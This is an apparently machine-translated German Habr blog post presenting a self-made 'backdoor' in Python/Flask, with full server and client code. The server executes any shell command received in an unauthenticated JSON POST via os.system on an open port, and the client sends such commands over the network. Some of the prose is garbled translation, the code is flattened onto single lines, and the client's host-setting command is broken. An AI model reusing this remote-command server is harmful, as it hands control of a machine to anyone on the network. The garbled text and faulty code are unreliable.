Hallo Habr!
Ich habe mir kürzlich die heruntergeladene Version des Programmier-Streams "So erstellen Sie Ihre Flask-Webanwendung" angesehen. Und er beschloss, sein Wissen in einem Projekt zu festigen. Lange wusste ich nicht, was ich schreiben sollte, und mir kam die Idee: „Warum nicht eine Mini-Hintertür auf Flask machen?“.
Die ersten Optionen für die Implementierung und die Funktionen der Hintertür tauchten sofort in meinem Kopf auf. Aber ich habe mich entschlossen, sofort eine Liste der Backdoor-Funktionen zu erstellen:
- In der Lage sein, Websites zu öffnen
- Kommandozeilenzugriff haben
- Sie können Programme, Fotos und Videos öffnen
Daher ist das erste Element mit dem Webbrowser-Modul äußerst einfach zu implementieren. Der zweite Punkt, den ich mit dem OS-Modul implementieren wollte. Und der dritte ist auch über das OS-Modul, aber ich werde "Links" verwenden (dazu später mehr).
Server RechtschreibungAlso * Trommelwirbel * den ganzen Servercode:
from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands...' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '...' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '...' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0')
Ich habe bereits den gesamten Code abgeladen, es ist Zeit, die Essenz zu erklären.
Der gesamte Code wird auf dem lokalen Computer an Port 5000 ausgeführt. Um mit dem Server zu interagieren, müssen wir eine JSON-POST-Anfrage senden.
JSON-Anforderungsstruktur:
{'command': 'comecommand', 'data': 'somedata'}
Nun, es ist logisch, dass 'Befehl' der Befehl ist, den wir ausführen möchten. Und 'Daten' sind die Argumente des Befehls.
Sie können JSON-Anforderungen schreiben und senden, um mit Stiften mit dem Server zu interagieren (Anforderungen helfen Ihnen). Oder Sie können einen Konsolenclient schreiben.
KundenschreibenCode:
import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = {'command': 'shell', 'data': p} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = {'command': 'link', 'data': int(a[1])} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print(' !') if a[0] == 'openweb': if len(a) > 1: dict = {'command': 'openweb', 'data': a[1]} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print(' !') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break
Erklärungen
Der erste Schritt ist das Importieren des Anforderungsmoduls (für die Interaktion mit dem Server). Weitere Beschreibung der Start- und Testfunktionen. Und dann der Zyklus, in dem die Magie geschieht. Hast du den Code gelesen? Die Bedeutung der Magie, die im Zyklus geschieht, ist Ihnen also klar. Geben Sie den Befehl ein - er wird ausgeführt. Shell - Befehle für die Befehlszeile (
Logik geht durch das Dach ).
Test - Überprüfen Sie, ob der Server funktioniert (Hintertür)
Link - über eine Verknüpfung
Openweb - Website öffnen
Beenden - Beenden Sie den Client
Festlegen - Stellen Sie die IP-Adresse Ihres Computers im lokalen Netzwerk ein
Und jetzt mehr über Link.
Neben dem Server befindet sich die Datei link.txt. Es enthält Links (vollständiger Pfad) zu Dateien (Videos, Fotos, Programme).
Die Struktur ist wie folgt:
_>
_>
Zusammenfassung
Wir haben einen Backdoor-Server zur Steuerung eines Computers in einem lokalen Netzwerk (innerhalb eines Wi-Fi-Netzwerks). Technisch können wir den Client von jedem Gerät aus ausführen, das über einen Python-Interpreter verfügt.
PS Ich habe den Befehl set hinzugefügt, damit eine andere IP-Adresse, die einem Computer im lokalen Netzwerk zugewiesen ist, direkt im Client geändert werden kann.